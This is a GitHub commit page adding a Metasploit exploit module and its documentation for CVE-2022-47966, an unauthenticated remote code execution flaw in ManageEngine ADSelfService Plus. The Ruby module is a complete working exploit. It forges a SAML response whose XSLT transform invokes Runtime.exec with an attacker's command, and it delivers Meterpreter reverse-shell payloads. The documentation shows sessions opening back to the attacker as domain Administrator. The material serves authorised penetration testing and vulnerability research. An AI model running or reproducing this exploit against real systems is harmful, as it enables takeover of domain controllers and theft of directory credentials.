Skip to content

Commit

Permalink
Land #17556, ManageEngine ADSelfService Plus RCE (CVE-2022-47966)
Browse files Browse the repository at this point in the history
Merge branch 'land-17556' into upstream-master
  • Loading branch information
bwatters-r7 committed Feb 7, 2023
2 parents a036c2f + f676568 commit 8ee6708
Show file tree
Hide file tree
Showing 2 changed files with 351 additions and 0 deletions.
Original file line number Diff line number Diff line change
@@ -0,0 +1,151 @@
## Vulnerable Application

This exploits an unauthenticated remote code execution vulnerability that
affects Zoho ManageEngine ADSelfService Plus versions 6210 and below
(CVE-2022-47966). Due to a dependency to an outdated library (Apache Santuario
version 1.4.1), it is possible to execute arbitrary code by providing a crafted
`samlResponse` XML to the ADSelfService Plus SAML endpoint. Note that the target
is only vulnerable if it has been configured with SAML-based SSO at least once
in the past, regardless of the current SAML-based SSO status.


## Installation

### SAML 2.0 Identity Provider

If you don't have an already SAML 2.0 Identity Provider (IdP), you can use this
free one for testing: https://mocksaml.com/. Download the Metadata file and
take note of the Entity ID URL (`https://saml.example.com/entityid`).

### Download the installers

Go to https://archives.manageengine.com/, fill the form with any data and
select ADSelfService Plus product with any version (e.g. `6210`). You can then
have access to all the versions and platform installers.

### Windows

This host will need to be part of a domain.
1. Launch the Windows installer and select all the default options by clicking
`Next` (you can skip the Registration for Technical Support part, it is
optional). When the installation is done, unselect the two options `Yes, I
want to view readme file` and `Start ADSelfService Plus in console mode` and
click `Finish`.
1. Go to the Start menu, select `ADSelfService Plus` and click `Install
ADSelfService Plus as Service`.
1. Go to the Start menu again, select `ADSelfService Plus` and click `Start
ADSelfService Plus`. This will start a browser and get you to the login
page.

### Enable SAML 2.0 SSO

1. Go to `http://<hostname>:8888`
1. Login with the default Administrator credentials (`admin`:`admin`).
1. Fill and set up the mandatory Security Questions and click `Next`.
1. Click on `Admin` in the navigation bar, then `Product Settings` and `Connection`.
1. Select `ADSelfService Plus Port [https]` and click on `Apply SSL Certificate`.
1. Select `Generate Certificate`, fill the mandatory fields and click on
`Generate & Apply Self-Signed Certificate`.
1. Click on `Update Access URL` in the banner that appears immediately after
the SSL certificate has been applied.
1. Select `HTTPS` and change the default port to 9251. The Server Name should
already be the system hostname. Click `Save`.
1. Click again on `Admin` in the navigation bar, then `Customize` and `Login
Settings`. In the main panel `General` tab, check the `Hide self-service
admin login` checkbox, close the notification window and click `Save`.
1. Select the `Single Sign-On` tab and check the `Enable SSO` checkbox.
1. Select SAML Authentication, choose `Custom SAML` in the `Select IdP`
dropdown menu. Enter any name in `IdP Name` and upload the Metadata file you
get from the IdP.
1. Click `Save`.

At this point you will need to take note of the URL (Recipient or Issuer URL
they should be the same). Its format is
`https://<hostname>:9251/samlLogin/<32-digit id>`. The ID will be used by the
module (see the next section).

Finally, restart the server: go to the Start menu again, select `ADSelfService
Plus` and click `Stop ADSelfService Plus` and then `Start ADSelfService Plus`.
This should get you to the updated URL the HTTPS one, port 9251.


## Verification Steps

1. Start msfconsole
1. Do: `use multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966`
1. Do: `exploit rhosts=<remote host IP> lhost=<local host IP> guid=<the ID from the Enable SAML 2.0 SSO section> issuer_url=<Entity ID URL from the IdP>`
1. You should get a shell
1. Also test with the other target


## Options

### TARGETURI
The ADSelfService Plus SAML endpoint URL. Set to `/samlLogin` by default.

### GUID
The SAML endpoint GUID you got from the Admin page (see the `Enable SAML 2.0
SSO` section).

### ISSUER_URL
The Issuer URL used by the Identity Provider which has been configured as the
SAML authentication provider for the target server.

### RELAY_STATE
The Relay State URL. This is optional and is automatically set up by the module
by default (`http(s)://<rhost>:<rport>/samlLogin/LoginAuth`).


## Scenarios

## Windows 2019 - Target 0 (Windows Command)
```
msf6 exploit(multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966) > exploit rhosts=192.168.100.107 lhost=192.168.100.1 guid=e699eba710a6643f561a5f24ce3df0be1e1b5674 issuer_url=https://saml.example.com/entityid
[*] Started reverse TCP handler on 192.168.100.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated.
[*] Sending stage (175686 bytes) to 192.168.100.107
[*] Meterpreter session 7 opened (192.168.100.1:4444 -> 192.168.100.107:50225) at 2023-01-26 21:42:18 +0100
meterpreter > sysinfo
Computer : NEWDC01
OS : Windows 2016+ (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : NEWLAB
Logged On Users : 8
Meterpreter : x86/windows
meterpreter > getuid
Server username: NEWLAB\Administrator
```

## Windows 2019 - Target 1 (Windows EXE Dropper)
```
msf6 exploit(multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966) > exploit rhosts=192.168.100.107 lhost=192.168.100.1 guid=e699eba710a6643f561a5f24ce3df0be1e1b5674 issuer_url=https://saml.example.com/entityid
[*] Started reverse TCP handler on 192.168.100.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated.
[*] Command Stager progress - 17.01% done (2046/12025 bytes)
[*] Command Stager progress - 34.03% done (4092/12025 bytes)
[*] Command Stager progress - 51.04% done (6138/12025 bytes)
[*] Command Stager progress - 68.06% done (8184/12025 bytes)
[*] Command Stager progress - 84.24% done (10130/12025 bytes)
[*] Sending stage (200774 bytes) to 192.168.100.107
[*] Command Stager progress - 100.00% done (12025/12025 bytes)
[*] Meterpreter session 8 opened (192.168.100.1:4444 -> 192.168.100.107:50227) at 2023-01-26 21:42:49 +0100
meterpreter > sysinfo
Computer : NEWDC01
OS : Windows 2016+ (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : NEWLAB
Logged On Users : 8
Meterpreter : x64/windows
meterpreter > getuid
Server username: NEWLAB\Administrator
```


Original file line number Diff line number Diff line change
@@ -0,0 +1,200 @@
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'ManageEngine ADSelfService Plus Unauthenticated SAML RCE',
'Description' => %q{
This exploits an unauthenticated remote code execution vulnerability
that affects Zoho ManageEngine AdSelfService Plus versions 6210 and
below (CVE-2022-47966). Due to a dependency to an outdated library
(Apache Santuario version 1.4.1), it is possible to execute arbitrary
code by providing a crafted `samlResponse` XML to the ADSelfService Plus
SAML endpoint. Note that the target is only vulnerable if it has been
configured with SAML-based SSO at least once in the past, regardless of
the current SAML-based SSO status.
},
'Author' => [
'Khoa Dinh', # Original research
'horizon3ai', # PoC
'Christophe De La Fuente' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2022-47966'],
['URL', 'https://blog.viettelcybersecurity.com/saml-show-stopper/'],
['URL', 'https://www.horizon3.ai/manageengine-cve-2022-47966-technical-deep-dive/'],
['URL', 'https://github.com/horizon3ai/CVE-2022-47966'],
['URL', 'https://attackerkb.com/topics/gvs0Gv8BID/cve-2022-47966/rapid7-analysis']
],
'Platform' => ['win'],
'Payload' => {
'BadChars' => "\x27"
},
'Targets' => [
[
'Windows EXE Dropper',
{
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :windows_dropper,
'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' }
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :windows_command,
'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' }
}
]
],
'DefaultOptions' => {
'RPORT' => 9251,
'SSL' => true
},
'DefaultTarget' => 1,
'DisclosureDate' => '2023-01-10',
'Notes' => {
'Stability' => [CRASH_SAFE,],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
},
'Privileged' => true
)
)

register_options([
OptString.new('TARGETURI', [ true, 'The SAML endpoint URL', '/samlLogin' ]),
OptString.new('GUID', [ true, 'The SAML endpoint GUID' ]),
OptString.new('ISSUER_URL', [ true, 'The Issuer URL used by the Identity Provider which has been configured as the SAML authentication provider for the target server' ]),
OptString.new('RELAY_STATE', [ false, 'The Relay State. Default is "http(s)://<rhost>:<rport>/samlLogin/LoginAuth"' ])
])
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'], datastore['GUID'])
)
return CheckCode::Unknown unless res

return CheckCode::Safe unless res.code == 200

product = res.get_html_document.xpath('//title').first&.text
unless product == 'ADSelfService Plus'
return CheckCode::Safe("This is not ManageEngine ADSelfService Plus (#{product})")
end

CheckCode::Detected
end

def encode_begin(real_payload, reqs)
super

reqs['EncapsulationRoutine'] = proc do |_reqs, raw|
raw.start_with?('powershell') ? raw.gsub('$', '`$') : raw
end
end

def exploit
case target['Type']
when :windows_command
execute_command(payload.encoded)
when :windows_dropper
execute_cmdstager
end
end

def execute_command(cmd, _opts = {})
if target['Type'] == :windows_dropper
cmd = "cmd /c #{cmd}"
end
cmd = cmd.encode(xml: :attr).gsub('"', '')

assertion_id = "_#{SecureRandom.uuid}"
# Randomize variable names and make sure they are all different using a Set
vars = Set.new
loop do
vars << Rex::Text.rand_text_alpha_lower(5..8)
break unless vars.size < 3
end
vars = vars.to_a
saml = <<~EOS
<?xml version="1.0" encoding="UTF-8"?>
<samlp:Response
ID="_#{SecureRandom.uuid}"
InResponseTo="_#{Rex::Text.rand_text_hex(32)}"
IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<Assertion ID="#{assertion_id}"
IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns="urn:oasis:names:tc:SAML:2.0:assertion">
<Issuer>#{datastore['ISSUER_URL']}</Issuer>
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
<ds:Reference URI="##{assertion_id}">
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
<xsl:stylesheet version="1.0"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:variable name="#{vars[0]}" select="rt:getRuntime()"/>
<xsl:variable name="#{vars[1]}" select="rt:exec($#{vars[0]},'#{cmd}')"/>
<xsl:variable name="#{vars[2]}" select="ob:toString($#{vars[1]})"/>
<xsl:value-of select="$#{vars[2]}"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
<ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
<ds:DigestValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(32))}</ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(rand(128..256)))}</ds:SignatureValue>
<ds:KeyInfo/>
</ds:Signature>
</Assertion>
</samlp:Response>
EOS

relay_state_url = datastore['RELAY_STATE']
if relay_state_url.blank?
relay_state_url = "http#{'s' if datastore['SSL']}://#{rhost}:#{rport}/samlLogin/LoginAuth"
end
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], datastore['GUID']),
'vars_get' => {
'RelayState' => Rex::Text.encode_base64(relay_state_url)
},
'vars_post' => {
'SAMLResponse' => Rex::Text.encode_base64(saml)
}
})

unless res&.code == 200
fail_with(Failure::Unknown, "Unknown error returned (HTTP code: #{res&.code})")
end

res
end

end

0 comments on commit 8ee6708

Please sign in to comment.